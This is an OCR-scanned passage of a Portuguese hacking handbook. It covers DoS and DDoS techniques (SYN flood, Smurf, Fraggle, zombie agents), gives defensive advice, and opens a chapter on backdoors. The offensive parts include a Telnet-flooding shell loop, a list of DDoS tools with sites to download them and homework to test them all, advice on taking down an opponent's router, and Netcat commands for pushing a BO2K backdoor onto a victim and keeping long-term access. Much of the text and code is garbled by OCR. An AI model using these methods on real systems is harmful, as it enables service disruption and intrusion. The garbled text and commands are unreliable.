dor, desde que surgiram no incio dos anos SO, so um exemplo clssico de
negao de servio local!
Mas tudo isso de muitssimo baixo nvel. Se algum sistema computacional
est merc de operrios braais munidos de marretas e picaretas algum
deve perder O emprego - provavelmente o segurana da portaria e o CEO da
empresa ... Entretanto, h alguns tipos de ataques orquestrados externamente
- em outr.t parte da rede interna da empresa ou mesmo via Internet.
Negao de servio remoto
Alm do annimato inerente aos ataques remotos, h uma iofm.idade de m-
todos e feIT'dmentas que pennitem que um ataque remoto tipo DoS seja des-
Ataque, defesa e contra-ataque: Invaso I
Universidade 3
D
ano
truidor. Vamos nos ater mais tcoria sobre DoS e indicar algumas ferramentas
para levar tais at:aQucs a bom termo. Mas como , de longe, a mod:alidade de
:ataque mais popular, documentada e comentada da Internet , deixaremos ao
leitor a tarefa de buscar mais informaes a respeito.
H dois "subtipos" de ataques DoS remotos. Alguns deles atacam
vulnerabilidades conhecidas nos sistemas-alvo - como as falhas de RPC que
resultaram na queda de nove dos 13 roteadores-r'.liz da Internet (todos nos
EUA) em outubro de 2002. O outro grande grupo de DoS remoto procura
exaurir todos os recursos do alvo - seja ocupao de banda da redc, multipli-
cao descontrolada de processos no servidor HTfP ou inundao de mensa-
gens de e-mail - possivelmente acompanhadas de vrus potencializadores do
ataque, como o KJez e o BugBear. O famoso e ancio Ping of Death - tipo de
ataque usando o utilitrio Ping para gerar pacotes ICMP defeituosos e gigan-
tescos - pertencia a ambos os tipos: gerava uma fragmentao defeituosa
dos pacotes e ao mesmo tempo consumia banda.
Um exemplo de ferramenta de DoS remoto do primeiro tipo o veterano
WinNuke. O programa aproveitava uma falha existente no Windows 95 e no
Windows NT 3 .51: caso a porta 139 - nossa velha conhecida do
compartilhamento de arquivos em redes Microsoft - recebesse pacotes no
vlidos em lugar do protocolo 5MB, o sistema operacional travava. H ver
ses atuais do WinNuke que exploram outras vulnerabilidades - uma vez
que essa foi consertada no Windows 98 e no NT4 - e trabalham tambm com
exausto de recursos.
Para saber mais sobre esse tipo de ferramentas , procure por DoS ou
malformed packet dos attack em seu mecanismo de busca. Inmeras ferra-
mentas para esse e outros tipos de ataque podem ser encontradas em
packetsLOrmsecurjty.nllDoSI e em www.astalayjsta.box.sk.
J recaindo no segundo tipo, o tipo mais comum de ataque o SYN Flood ou
inundao de pacotesTCP SYN. Lembra-sc de nossa primeira tentativa de spoofing?
Enfivamos um SYN com IP de origem diferente do nosso. Naquela situao, no
conseguamos estabelecer unIa conexo s{XX.lfada por dois motivos:
1. Como a mquina atacada no sabia nosso IP verdadeiro, no poderia
responder-nos;
2. A mquina pela qual nos fazamos passar retornava pacotes TCP RST e
acabava com nossa conexo - e com nossa alegria ...
No caso de um DoS por SYN Flood, de que nos importa sc scremos respondi-
dos ou no? O que vale enviarmos tantos TCP SYN Spoofados quanto poss-
vel, para que a mquina-alvo se ocupe de respond-los e no tenha tempo de
responder a out['J.S requisies de outras pessoas. Lembre-se: a vtima vai envi-
:Ir um SYN-ACK e esperar por ACKs que nunca viro. Isso acabar por impos-
sibilitar a vitima de responder a qualquer outro pedido de conexo ou mesmo
atender a conexes j existentes.
1301 I
I Ataque. defesa e contra-ataque: Invaso
I Universi dade H4CK3R I
302 I
Obviamente h outros mtodos para DoS aJm do SYN Flood. Um outro m-
todo muitssimo usado faz uso de pacotes ICMP Echo Request (ping!) disparJ.-
dos tambm em inundao. Se o IP estiver spoofado, a mquina-alvo no res-
ponder ao IP de origem, mas ao IP falso. Uma extr.l.polao do DoS utilizando
ICMP o famoso Smurf: dispam-se ICMP Echo Request para um grande nme-
ro de mquinas, mas colocando como endereo IP de origem o IP da vtima (e
no um falso). O resultado um grande nmero de mquinas refletindo ao
mesmo tempo uma multido de paCOles ICMP cm direo vtima, que sai do
ar prJ.ticamente no mesmo instante.
,
1IfrJ Socorro!
. o

Outra possibilidade usar uma mensagem UDP em vez de H um servio
chamado echo, funcionando na porta 7 UDp, que simplesmente devolve ao endere-
o de origem tudo o que chegar por eIa. I3em, imagine ento enviar um pacote
UDP spoof.l.do, cujo IP de origem 127.0.0. 1 (ou seja, o loopback - em outras
palavras, a prpria mquina) e o JJ' de destino o IP da mquina. Fm uma situao
dl."'SSaS, o pacote UDP entra em Joop dentro da mquina. Um n(unero pt;qucno
dCSS<.'S pacotes basta para comprometer toda a pilha TCP/JJ' do sistema operacional
e consumir grandes percentagens da banda de rede disponvel. Extr.tpolando da
mesma fonua como no ataque Smurf, pode-se enviar pam a pona UDP 7 de inme-
ras mquinas pacotes com
11' de origem igual ao da v-
tima. Todas elas devolvero
o pt'(.'"Sente parJ. a mquina
sob ataque - comprome-
tendo a banda novamente.
Se o hacker usar broadcast,
ento, o que era uma leve
mal V'J.deza passa a ser uma
calamidade. Tal ataque
chamado de Fraggle.
Onllem: 121.0.0.1
Destino: IP da Vitima
Pona VOP1
Alaque. defesa e contra-ataque: Invaso I
Universidade 3ano
Alm desses mtodos que tiram a mquina do ar, h outros tipos bem mais
sutis, e mesmo alguns inusitados. Por exemplo, lembra-se de nossos programas
de brute force? AJguns sistemas, para evitar justamente serem invadidos por
bnlle force, limitam o nmero de logins pernlitidos (o nmero varia, mas a
quantidade usual trs). Bem, um programa de brute force pode ser usado,
ento, para bloquear sistematicamente todas as contas do sistema, impedindo
que qualquer usurio-se logue. Trs acessos em cada conta so suficientes, o
que torna a operao extremamente rpida e eficaz.
Pode-se tambm multiplicar conexes a um servio especfico ,lI 'I ue todos
os recursos do servidor em questo sejam consumidos - seja na forma de pro-
cessos abertos, seja por meio de esgotamento de b.mda. Por exemplo, se quere-
mos derrubar um computador cujo servidor de Telnct esteja ligado, basta r0-
darmos um script como este em nossa mquina Unix:
while [l,lJ ;
do
telnet &
dane;
possvel fazer o mesmo no Windows com um pouco mais de trabalho.
Troque telnel pelo lynx e voc tem lima ferramenta para causar o mesmo
estrago em servidores HTTP.Troque pelo comando mail e voc poder encher
o servidor etc. H ainda a possibilidade de fazer o mesmo com ping,
Redes Microsoft , 551-1, FTP (servidores FTP do Novell Netware so especial-
mente apetitosos ... ) , Usenet, Finger, M5-SQl, M5-Access, ICQ ... Acho que voc j
a idia.
Apesar dos ataques acima descritos poderem ser feitos manualmente por
hackers de verdade, existem ,i1gumas ferrJ,mentas que facilitam e automatizam
esse tipos de ataque - e os lammers as adoram. Tais ferramentas podem ser
encontradas aos montes nos mesmos lugares anteriormente citados:
l'acketstormsecurity.nI/DoS/ e em www.astalavjsta.box.sk. No endereo
www.astalavista.com/library/ddos/basicsJjntrQ.shtml h um tutorial interes-
sante (em ingls) sobre diversos tipos de pequenos ataques de DoS local e
remoto que podem ser ttntados. Estude todos eles, procurando na Internet
exemplos e informaes adicionais sobre cada um.
Mas h algo muito mais malvado que DoS simples: os ataques por negao de
servio remoto distribudo, ou DDoS.
Negao de Servio Remoto Distribudo
Os ataques Smurf e Fraggle j so maneiras efetivas de ampliar ataques origi-
nados em um nico ponto - por isso mesmo so chamados de de au-
mtnto". Entretanto, mesmo se utilizando dessa lente, a banda de rede dispon-
vel para o atacante Limitada, e ele no pode manter um ataque com muitos
I 303 I
I Ataque. defesa e contra-ataque: Invaso
I Uni .... ersidade H4CK3R I
3041
pacotes para cada mquina amplificadora e manter, ao mesmo tempo, muitas
mquinas amplificadoras enviando esses mesmos pacotes vtima.
Para resolver a parada, foi desenvolvido um certo tipo de ataque em que os
pacotes destinados s vtimas no saem da mquina do hacker, mas de compu
tadores zumbis controlados remotamente por ele. Nesses computadores, o
hacker instala certos tipos de cavalo de tria ou vrus que respondem a coman
dos externos e funcionam como fonte geradora do ataque so os chamados
agentes ou zumbis. O dse pelos mesmssimos mtodos j estuda
dos at aqui - invaso, distribuio camuflada e mesmo cooperao. O atacan
te possui um ou mais programas mestre, que controlam os agentes.
Lembrase de quando dissemos que a invaso de sistemas menores poderia
ser usado como trampolim para chegar vtima principal? Pois bem, esta
uma das situaes. O atacante leva semanas, s vezes meses, para invadir pe
quenos sistemas -
computadores pesso--
ais e servidores de pe.
quenas empresas -
sem que seu interesse
imediato seja tais m
quinas. Elas sero usa
das, isso sim, como
zumbis num ataque a
grandes companhias
(1234 1234 1234 ... ) , e
para isso necessrio
que os softwares ade
quados estejam insta
lados nelas. O hacker
pode, inclusive, con
sertar algumas coisas
e at atualizar li m
quina do indivduo,
caso isso seja necess
rio para que o ataque
principal seja levado a
termo.
Uma vez instaL1.do os
agentes, o hacker pode
inidar um ataque a par
tir do mestre:

/
"Salvem-me!"
Ataque. defesa e contraataque: In .... aso I
Universidade 3ano
Imagine agora que o hacker mais tarimbado. Um ataque DDoS pode ser
sofisticado com a distribuio de diversos mestres, controlados tambm
distncia pelo invasor. Ele pode tanto usar fermmentas especiais pam tal, j
existentes, como tambm usar coisas do sistema opemcional como o Netcat
ou o Telnel.
MasterJ
~
~ ~ ~ ~ ~ ~
Agente 1 Agente 2 Agente 3 Agente 1 Agente 2 Agente 3 Agente 1 Agente 2 Agente 3
~ \=-----/
"Salvem-me!"
1305 I
I Ataque, defesa e contra-ataque: Invaso
I Universidade H4CK3R I
Agor.t, uma pitada a mais de maldade: cada um dos agentes pode usar lentes
Smurf ou Fr.tggle par.t multiplicar sua fora. Um ataque com essa configura-
o devastador!
~ ~ j
~ ~ -
II II II
' ' ' ' ' ' ~ ~ ~ ",,',,'
/ ~ ""r\ \ ~ ~
~ ~ ~ ~ ~ ~ ~ ~ ~
Agente 1 Agento 2 AgenteJ Agente 1 Agente 2 Agente 3 Agente 1 Agente 2 Agente 3
Ij\\
Ij \
\1/ \1/
13061
Ataque. defesa e contra-ataque: Invaso I
Universidade 3
Q
ano
Masters and Slaves
H uma infInidade de ferramentas para todos os ataques 000 e DDoS descri-
tos aqui. A maioria pode ser encontrada nos dois sites indicados anteriormente:
packetstQrmsecurity,ollDoSI e www.astalayjsta . box.sk. Outra sco,
packetstormsecurity.ol/distrjbuted/, tr.na de ferramentas e tutoriais DOoS.
Procure, nos sites indicados e em seu mecanismo de busca preferido, infor-
maes e download das seguintes ferramentas:
Fapi
~ Targa
~ Blitznet
~ TrinOO/WinTrinOO
~ TFNrrFN2k/TFNWin
~ Stacheldraht
~ Shaft
~ Trank
~ Trinity
Como tarefa para casa, o estimado leitor ter que ler a documentao e tes-
tar todos, um a um, e descobrir em quais categorias (s vezes mais de uma)
cada um deles se encaixa.
Outra tarefa: procure informaes sobre ataques a roteadores. Voc ficad
surpreso em saber que por vezes mais fcil atacar equipamentos intermedi-
rios da [ntemet do que o alvo final. Se est muito difcil tirar do ar o servidor
daquela empresa inimiga do meio-ambiente, talvez o rOleador ligado a ele seja
o lado mais fraco - e, de quebr.l , deixa a rede intema deles sem acessos
Grande Rede.
Defesa e contra-ataque
Bcm, l vamos ns. Este foi um captulo longo. Procuramos colocar nele o
bsico do bsico sobre ataques a computadores e redes. Listamos aqui , portan-
to, algumas dicas sobre o que procurar e por onde comear para segurar seus
sistemas e evitar que sejam atacados com essas tcnicas,
Recomendaes aplicveis a todos os tipos de ataques
O mais importante! Deixe ativados apenas os servios que est realmente
usando. Se o servidor apenas de H1TP e FTP, desabilite Finger, Telnet , SSH,
S M T ~ P O ~ L\1AP, Quake",
Configure corretamente seu firewall , e tenha sempre mais de um tipo, pelo
menos um diferente para cada lado da DMZ. Prefira filtros de pacote por esta-
do de conexo (Stateful Packet Filters) e fircwalls do tipo Proxy. Mesmo com
os servios desabilitados nos servidores, feche as portas correspondentes no
1307 I
I Ataque, defesa e contra-ataque; Invaso
I Universidade H4CK3R I
1308 1
firewall para evitar trfego fantasma (por exemplo, de:: backdoors) e ACK
Scanning. No tenha preguia: faa uma tabela de regras de fLitragem realmen-
te longa e abrangente, preferencialmente associando portas e endereos e no
simplesmente bloqueando.
Mantenha sempre seus sistemas atualizados para evitar ser invadido por
vulnerabilidades conhecidas e bem documentadas. Ateno especial aos hotflXes
e $ervice P-J.cks da Microsoft - o que no quer dizer que seus sistemas Unix e
Novell precisam de menos cuidado.
Por padro, crie usurios com o mnimo possvel de privilgios e v aumen
tando-os medida que seja preciso. Caso o usurio no precise mais do privil-
gio, no hesite em cass-lo. Crie polticas severas e consistentes de contas, que
incluam nomes de login no-bvios, gerenciamento ostensivo de contas ativas,
desativao imediata (ou antes, cancelamento) de contas ociosas, senhas fortes
contendo letras, nmeros e smbolos e regras para alterao de senhas em
menos de 30 dias. Alm disso, um documento interno oficial, assinado pelo
funcionrio, deve regular c1ardmente os equipamentos autorizados a conectar
rede e prever punies caso a rede seja invadida ou comprometida por mau
uso ou descuido do usurio.
War Dialinge Brute Force
Em primeiro lugar, tente atacar a si mesmo com ferramentas de fora bruta.
Se voc no deveria possuir modems ou acessos pessoais de alta velocidade
ligados sua rede, esta uma boa maneim de descobrir. Ao menor sinal de
modem discado, cable modem ou aDSL no autorizados em seu sistema, remo-
va-os imediatamente!
Para sistemas acessveis IXlr Internet ou IXlr conexo via terminal, a recomendao
no dar acesso a todas as contas por defaull. E cuidado com as contas padro do
sistema! Obrigatoriamente, os acessos devero ser feitos IXlr VPNs criptografddas.
No caso de seu negcio ou instituio realmente necessitar de modems e
logins externos via Internet ou SSH, a poltica de senhas e acesso da empresa
deve ser seguida risca, e as penalidades aplicadas de forma exemplar.
Estouro de pilha
No h muito que dizer alm do bvio: se voc programador, sua obriga-
o escrever cdigo imune a buffer overflow. Mesmo sendo inerente s lin
guagens de programao, possvel implementar rotinas de verificao que
barram mjeo maliciosa de dados.
Se voc administrador de sistemas ou mesmo usurio domstico, mamenha
seu sistema sempre atualizado com os ltimos publicados pelos
fabricantes de seu software. E no se concentre apenas nos servidores: as esta-
es tambm so vulne::rveis e portas de entrada para sua rede.
Ataque. defesa e contra-ataque: Invaso I
Universidade 3ano
Quebra de senhas
Para comear, use ferramentas de quebra de senha em voc mesmo. S termine
quando estiver satisfeito com o resultado - que deve ser, por acaso, zero: nenhuma
senha a descoberto. Faa esse teste periodicamente, pelo menos com o dobro da
freqncia com a qual as senhas devem ser mudadas. Se a poltica da empresa obriga
os usurios a mudar a senha a cada 30 dias, tente quebrar as senhas do sistema pelo
menos a cada 15 dias.
O mtodo mais eficiente para barrar o brute force limitando o nmero de logins
e bloqueando temporariamente (e no em definitivo) as contas do sistema. Isso cria
um problema de DoS, mas ainda melhor que ter seus dados comprometidos.
Evite o roubo de senhas a rodo custo, e dificulte ao mximo a vida do cracker que
porventura consegu-Io. Vale desabilitar os LM Hashes no Windows NT!2k, criar um
servidor de login centralizado, com criptografia e segurana (como o Kerberos), usar
Shadow Passwords no Unix (tambm com login centralizado via LDAP+Kerberos) e
mesmo criptografar os sistemas de arquivos.
As severas polticas de senhas descritas acima tambm se aplicam neste caso. Bem
como campanhas de consientizao dos usurios para os males das senhas fracas e
do comportamento de risco - senhas no devem ser escritas em lugar algum, muito
menos divulgadas. NUNCA!
Por fun, a instalao de softwares que rejeitam senhas fracas no ato do cadastro do
usurio (e posterior troca de senha peridica - sua empresa instituiu isso, no ?)
um ponto-chave para evitar que os usurios coloquem em risco toda a rede por
colocar o nome do cachorro como senha pessoal.
War Driving
Criptografe sua rede e ative o WEP. Ponto fmal.
SQL Injections e Cookie Poisoning
Crie dispositivos de verificao em todos (repito: todos) os campos de todos (no-
vamente repito: todos) os fonnulrios do seu site na Internet. Bloqueie sumariamen-
le caracteres perigosos como =, ' e ", *, % e ~ Uma boa poltica liberar apenas letras
e nmeros e bloquear todo o resto.
Use sempre o mtodo POST para envi-los ao script processador, uma vez que o
mtodo GET deixa infonnaes importantes na URl. Se possvel, criptografe os cam-
pos antes de envi-los. Mellior ainda: use conexes HTTPS/SSL com certificados emi-
tidos por empresas idneas e criptografia forte.
No caso de cookies, faa um controle de sesso coerente, com session IDs preferen-
cialmente criptogr.tfados e, se possvel, dinmicos - mudando a cada pgina acessada.
No se deve confiar apenas na criptografia do SSL: criptogrJ.fe tudo vrias vezes
ANTES de enviar por H1TPS (que tambm criptografado).
1309 1
I Ataque, defesa e contra-ataque: Invaso
I Universidade H4CK3R I
1310 1
Sniffing, Spoofing e Hijacking
Em primeiro lugar, coloque filtros amispoof e detectores de sniffers em IO-
dos os pontos de entrada, sada e passagem (roteadores entre sub-redes) de sua
rede. IDSs so bem vindos e grandes companheiros dessas ferramentas.
Mesmo no sendo impeditivo para a ao do hacker, um agente complicador:
instale switches e bridges em vez de hubs e segmente sua rede ao mximo.
Alm do beneficio do desempenho, isso cria uma camada a mais de dificuldade
para o invasor. Se possvel, divida a rede em subredes e coloque roteadores
com ftltros de pacotes muito bem estruturados para interlig-Ias. Dependendo
do nmero de pessoas, tempo, oramento e tamanho da rede, possvel confio
gunlr estaticamente: as tabelas MAC dos switches e bridges em cada uma de
suas portas. Com isso, o equipamento fica imune a ARP Spoofing e MAC F100ding
(mas no ao entupimento da rede ou mesmo negao de servio possivel-
mente provocados por eles). Mas prepare-se: uma tarefa herclea ...
OutrO mtodo para dific ultar (e muito!) a ao dessas ferramentas a
criptografia sistemtica de toda a rede. Toda ela. Use tudo o que estiver mo,
c'lda quaJ para sua funo especifica: PGP/GPG, IPSec, H1TPs, SSH (use sem-
pre SSI-1 verso 20. J vi projetos de VPNs com vrios nveis de tunelamento,
todos criptografados. Leve em conta o falO de que cada nvel criptogrfico tem
um impacto negativo fenomenal no desempenho [Otal da rede e use o bom
senso parJ. dosar performance e segurana ..
Implemente DMZs no s entre a rede corporJ.tiva e a Internet (isso mio-
pia!), mas tambm diversos nveis de DMZs e mesmo DMZs illterdepartamentais!
Verifique a predictabilidade dos nmeros seqi.ienciais TCP de seus comput:l-
dores. Mquinas Windows 9x tornam isso brinquedo de criana, mquinas
FreeDSD e Solaris, por outro lado, so famosas por serem praticamente
mndmicas nesse ponto.
Se estiver usando sistemas Unix, esque:l os Unix Trusts. AJm deles, outro
esquema de confiana muito ruim o que a Microsoft chama de PDC/PDC
Trusted Re:lations no Windows NT. Evite-os completamente.PrefirJ. sistem:lS
modernos como o NovelJ eDirectory ou as inmenls implementacs do L D I ~
incluindo :l o ADS da Microsoft. M:lS use sempre um esquema de criptografia.
Se nada disso estiver disponvel, mais seguro deixar o usurio log:lr-se indivi-
dualmente em cada um dos sistemas da empresa do que ter um sistema de
:llltenlicao centralizado cujo esquema de confiana falho.
Negao de Servio
IOSs ajudam a detectar ataques DoS locais - a no ser que o ataque destrua o
prprio lOS, o que bem possvel e mesmo provveL
As defesas contnl IP Spoofing, ARP Spoofing e MAC Flooding t:lmbm :liu
dam aqui. Tabelas MAC estticas em switches idem.
Ataque. defesa e contra-ataque: Invaso I
Universidade 3ano
Sistemas com a ltima atualizao libemda pela fabricante so menos expos-
lOS a DoS baseados em vulnembilidades conhecidas. Alguns sistemas possuem
patches que os tomam inclusive imunes a ataques do tipo SYN Flood e Smurf.
Se possvel, compre mais velocidade pam sua conexo e tenha sempre rolas
alternativas (e secretas!) caso a conexo principal esteja inundada. Adequao
de trfego (Traffic Shape) tambm desejveL
Pam o DDoS, uma nica recomendao, alm das anteriores: mantenha os
zumbis longe de suas mquinas! Faa uma auditoria peridica em todos os
computadores procum de portas suspeitas ou progmmas no-autorizados.
Uma ltima dica: Echolot (echoloLSourcefOrge.net).
I 311 I
I Ataque. defesa e contra-ataque: Invaso
Ataque, defesa e
contra-ataque:
Manutenco

Captulo

Now ln comiflg through lhe backdoor
How dld I gel here /00 I mind
ln an eerie sort of way
I sef/se you reaching ...
Wt1f yau /inger a /ttle tanger
White I wonder "'
Tadpo l e ,
FIJ(l'O l!lr'(Onwn(, 1'''1' SUl] j"'l'lu til' [n15 I .\1,, _, eOJllv
du''1uC'! II e/M I 'I" mi' ImjJor/o I 1Il/IS (/e5jJn'zo \o('!' I
l- u o ,juro " ... "ku",,-, ... ___ I \ ... ' fi,.",.,) 1'01' '" um 1'011("0
I F u fico aqlll Do _,IIl'1!i- d,- j!,)9!l
I Universidade H4CK3R I
314 I
Ganhar acesso a um sistema qualquer - seja ele um web sile, uma rede, um
computador Macintosh ou um servidor Novell - no bolinho. Em todos os
captulos preparatrios e especialmente no anterior, vimos alguns mtodos de
como preparar o terreno e g:mh<lr <lcesso aos nosso alvos. No todos, no mui
tos, sequer os mais importantes: a fim de jJustrar os passos a serem seguidos,
vimos apenas um ou outro exemplo.
No {Orne este livro, ponanto, como uma enciclopdia de ataques. Em vez
disso, use-o como canilha parJ aprender o b-a-b, e v pesquisando e estu-
dando nos recursos indicados em todos os capt ulos. Leituras adicionais so
muito importantes. A srie I-I;,ckers Exposed (McClure, Scambra)' e Kurtz,
editora Makron, 2- edio em portugus e 4- em ingls), composta de quatro
livros - H,lckers Exposed, UE Windows 2k edirion, I-IE Linux edilion e IIE
Web edirion - uma excelente companheirJ. para nossa pequena obra e enfoca
o assunto de maneira diferente. Enquanto tentamos mostrar a mecnica da
coisa, a srie HE oferece um verdadeiro de ataques. Mas no des-
cuide do Bugtraq!!!
Um:1 vez dentro dos intestinos de nossa presa, hora de cuidar de manter seu
acesso e, possivelmente, bloquear acesso a outros candidatos a invasor que,
por descuido, podem pr a perder seus meses de estudo e esforo. Cuidemos,
ento, da manuteno de nossa pemlanncia no seio da vtima por longos anos.
8ackdoors
Toda casa possui uma porta de u ..... JS (ok, ok, alguns apartamentos mais popula-
res l<lpertamentos???1 possuem apenas rnna passagem para acesso ao imvel - e
passa pela saJa de estar. Fazer o qu ... ). Pela pona de trs trazemos a feira, os
empreg<ldos da casa tm acesso ao interior para tmbalhar, os operrios trazem
ferrJmentas e material paTa refonnar o banheiro e samos com o cachorro parJ.
passear. , portanto, <lpropriadamente chamada de porta de servio.
Por Outro lado, pela porta da frente recebemos nossas visitas. Se for um im-
vel comercial, por ela tambm que recebemos nossos clientes. A decoraflo,
os objetos e o prprio espao so diferentes nos ambientes atendidos pelas
duas portas. Portanto, apropriado dizer que ambas as ponas possuem fun-
es dHerentes, e, portamo, prestam-se a atividades diversas.
Em um sistema computacional , muitas vezes necessrio tambm possuir
vrias fonnas de acesso. O ambiente opemcionaJ que os usurios comuns co-
nhecem desenvolvido de modo a tomar a utilizao do sistema mais fcil e
dircta. Por outro lado, devem haver fonuas de os administmdores acessarem os
sistemas tambm e, assim, desempenJlar suas tarefas, muitas vezes at simulta-
ncameme, sem incomodar o usurio.
Ataque. defesa e contra-ataque: Manuteno I
Universidade 3 ano
H diversas maneiras de chegar a isso. Em sistemas Unix, o administrador
pode simplesmente logar-se remotamente como root (via SSH v2, nunca via
Telnet!1!) e fazer O que for preciso. Em sistemas Windows e Macintosh, como
no h essa facilidade por padr.:io, possvel instalar programas que permitem
o mesmo controle. Entre eles, podemos citar CarbonCopy, LapUnk, ControllT,
o SMS da Microsoft e lalvez o mais conhecido de todos: o pcAnywhere, da
Symantec. Por meio desses programas, administradores entrJ.m pelas "portas
de nos sistemas dos usurios e fazem o que deve ser feito.
H um outro uso para portas de trs em computadores domsticos e estaes de
IIabaU10 corporativas: softwares espies. Existem diversos softwares (como o I
Spy e o WmKeylogger) desenvolvidos para que cnjuges oumemos, pais extrema-
dos e empresrios paranicos possam vigiar o que suas caras-metade, fllhos ou
empregados andam fazendo. longe da discuSSo:1.o sobre os aspectos legais,
momis e ticos envolvidos, podemos afmnar que esses programas tambm abrem
diversas portas de trs nos sistemas em que esto instalados.
A economia de tempo, dinheiro e recursos gerJ.da por essa tecnologia enor-
me. Bom, no? Novamente, nem tanto. E se hackers mal-intencionados (Iembre-
se: hacker no sinnimo de bandido, ponanto o qualificador apropriado ... )
conseguirem acessar seus sistemas por meio dessas portas de trs? Bem, a
temos um problema.
Portas de trs maliciosas
A soluo radical parJ. o problema exposto acima no usar tais progr.:lInas
de forma alguma. Uma soluo mais razovel - mas, acredite, muito vulnervel
- aplicar todos os patches de segurana recomendados pelo fabricante, usar
senhas fortes, criptografia etc., etc., etc. (voc j est careca de saber ... ).
Entretanto, mesmo em sistemaS nos quais o administrador no instalou
esse tipo de programa, a ameaa existe. Ao chegar ao fim do captulo ante-
rior estvamos dentro do sistema da vtima, ceno? Bem, a primeira coisa a
fazer instalar um ou mais b'lckdoors para podermos entrar novamente no
futuro, pois certamente o dono do sistema ir tampar o buraco por onde
passamos. Adicionalmente, podemos corrigir todas as vulnerabilidades das
mquinas que invadimos, impedindo que kiddies descuidados se denuncio
em e nos levem de embrulho.
J falamos bastante sobre bac kdoors para Windows nos captulos sobre
Vulnerabilidades. Em VulnerJbilidades I, inclusive, mostramos passo a passo
como contigurJ.r um Back Qrifice 2000 (ou B02K) para controlar mquinas
alheias. No caso desses pacotes prontos, no h muito mais o que falar: so
peas complexas por seus muitos recursos, mas ao mesmo tempo so uma
grande coleo de rotinas simples. Um program:ldor com conhecimentos de
parcos a moderados em alguma linguagem moderna, como JavJ. , Visual Basic,
1315 I
I Ataque, defesa e cont r a- ataque; Manuteno
I Universidade H4CK3R I
1316 1
C#, C++ ou Objective Pascal (usada no Delphi/Kylix) poderia escrever em pou-
cos dias backdoors to ou mais completos e complexos que o B02K. NetBus,
Sub7,AlienToy ... A lista vasta. Mesmo programas de administrao srios (em
tempo: o B02K foi desenvolvido como aplicao sria!) como o pcAnywhere
ou o VNC podem ser usados ~ p r O mal".
Novamente: "At tu, Brutus?"
Alm das ferrdmentas especficas j exaustivamente descritas ao longo do li-
vro, o prprio sistema operacional prdigo em recursos que podem ser usados
a favor do invasor - e contra o dono da mquina. Como j cansamos de ver,
servidores de Telnet e FfP podem usados com novas contas, especialmente cria-
das pelo hacker no sistema para posterior invas.10 (pela porta de frente, hehehe .. .).
Cada sistema possui sua idiossincrasia e seu conjunto de programas que podem
ser usados para fabricar um backdoor. Alm de nao ser preciso instalar nada,
programas j existentes no computador raramente levantam suspeitas.
Mas h um pequeno utilitrio, presente em todos os Unix e disponvel para a
famlia WmNT, que especiabnente interess.1.nte para criar backdoors improvi-
sados. Chamado de Netcat (www.atstake.comlresearchltoolslnetwork utilities),
peonite inmeros truques em redes privadas e na Internet - e pode ser usado
como backdoor tambm!
Apesar de possuir verses para Windows, o nome Netcat veio de seu primo
cat, o comando no Unix para mostrar o contedo de um arquivo no ternlinal.
Observe:
$ cat Buttix
Hey Beavis, I'm a unix string!!!
$
o comando cat jogou o contedo do arquivo Buttix na tela do teoninal. Da
mesma forma, o comando DC pode jogar, de um lado a outro da conexo (ou
seja, no necessariamente na tela) , o que uma detenninada porta de um compu-
tador distante est cuspindo na rede.
A sintaxe mais simples ne ip.do.computador.monitorado porta.
Por exemplo, o comando
C: \> NC 192 . 168 . 1 . 11 80
quando emitido em lml computador Windows, v.ti conectar-se e monitorar tudo
o que sai pela porta 80 da mquina cujo [p 192. 168.1.11 . Obviamente, a porta 80
tem de estar aberta, caso contrrio o Netcat abortado. A sintaxe idntica em
tuna mquina Unix. Na verdade, ele age como um cliente de mo dupla - recebe e
tambm transmite dados. Nesse mesmo exemplo, ao emitir o comando, nada acon-
tece - o outro lado est esperando por tuna ordem. Sabemos que trata-se de um
servidor Web, portanto basta enviar o comando GEl' (sim, precisa estar tudo em
maisculas). Aps o comando, o cdigo-fonte HTML da pgina inicial do servidor
H1TP ser mostrado na tela. Pode-se usar o Netcat para conectar a vohunes 5MB
Ataque, defesa e contra-ataque: Manuteno I
Universidade 3 ano
(porta 139), FTP, TeLnet, SMTP .. Basta conhecer o protocolo e emitir os comandos
corretos. Para conectar-se a portas UDp, usa-se a opo Ou.
O Netcat funciona em dois modos. O modo cliente o que vimos - envia
qualquer coisa colocada em sua entrada para o lP/porta indicado. Se houver
respostas, apresenta-as na tela. Por entrada, entendemos tanto a entrada pa
dro (o teclado) como qualquer outro programa que esteja acoplado entrada
(poderamos usar pipes - funciona no Windows e no Unix).
H um outro modo, chamado modo servidor. este que nos interessa. O modo
servidor, ao invs de enviar comandos, fica de prontido para receb-los e de-
volver o resultado da requisio para a sada padro. Veja o seguinte comando:
C: \> NC - 1 -p 80
Nesse caso, o Netcat est agindo como servidor. A opo -1 indica isso. A
opo -p indica a porta a ser usada. Faa uma experincia: em nossa rede de
testes, coloque o comando acima para rodar na mquina Windows. Na mqui-
na Unix, use o comando aterior (ne 192.168.1 .1 80). Experimente digitar na
mquina Unix e veja o que acontece na Windows: os caracteres da sua entrada
padro (no caso, o seu teclado) so transferidos para a sada padro (a tela) da
outra mquina. Bacana, n? Mas vamos apimentar um pouco as coisas.
Imagine que voc quer transferir um arquivo do seu computador para o
computador invadido (um B02K, por exemplo). Nada mais simples. O nome
do arquivo server.exe e o endereo IP do computador alvo 192.168.1 .1. No
computador da vtima, use o comando
ne -1 -p 9999 > server . exe
No do hacker, experimente
ne 192 . 168 . 1. 1 9 999 < se rver . exe
Note os redirecionamentos. No computador da vtima, o caractere > ~ indica
redirecionamento para o arquivo server.exe. Todos os dados recebidos sero
copiados par .. l. No computador do atacante, o caractere "<" indica que todos
os bytes do arquivo server.exe sero mandados para a entrada do Netcat. Quando
o ltimo bit for transmitido, a conexo cai automaticamente. Mesmo sem aces-
so a FTP ou a um compartilllamento do Windows, foi possvel enviar um arqui-
vo para o sistema da vtima. De fato, mesmo com acesso irrestrito a um shell do
sistema, o atacante no tem acesso fsico a disquetes ou drives de CD (o siste
ma invadido pode estar do outro lado do mundo). Se no houver um meio de
enviar os arquivos via rede como FTp,r-comandos no Unix e compartilllamentos
no Windows, o invasor deve ter um programinha na manga para poder transfe-
rilos. A opo mais direta o bem-amado Netcat.
Invertendo os redirecionamentos, possvel deixar a mquina do atacante
como servidor pronta para "empurrar" o arquivo, e conectarse a ela pela m
quina da vtima, que far o download. A vantagem? Bem, a maioria das configu-
raes de firewall iria barrar um arquivo sendo transferido se a origem da
1317 I
I Ataque. defesa e contr a- ataque: Manuteno
I Universidade H4CK3R I
1318 I
conexo vier de fora (ou seja, da mquina do hacker). lnvertendo-se os papis,
